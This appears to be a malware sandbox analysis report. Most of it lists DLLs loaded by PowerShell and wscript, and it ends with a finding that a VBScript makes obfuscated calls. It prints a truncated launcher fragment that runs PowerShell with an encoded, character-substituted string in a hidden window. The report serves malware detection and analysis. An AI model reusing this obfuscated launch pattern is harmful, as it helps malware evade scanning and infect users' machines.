Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000007.00000002.2591558298.000001BCABC19000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32W source: powershell.exe, 00000007.00000002.2591558298.000001BCABC64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000007.00000002.2591558298.000001BCABC64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdb{@ source: powershell.exe, 00000007.00000002.2090443730.000001BC91BA8000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: .Run("powershell $ExeNy = 'J?Bz?HE?YQBh?Go?I??9?C??Jw?w?DE?Mw?n?Ds?J?B3?Gk?a?Bs", "0", "false");
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: .Run("powershell $ExeNy = 'J?Bz?HE?YQBh?Go?I??9?C??Jw?w?DE?Mw?n?Ds?J?B3?Gk?a?Bs", "0", "false");
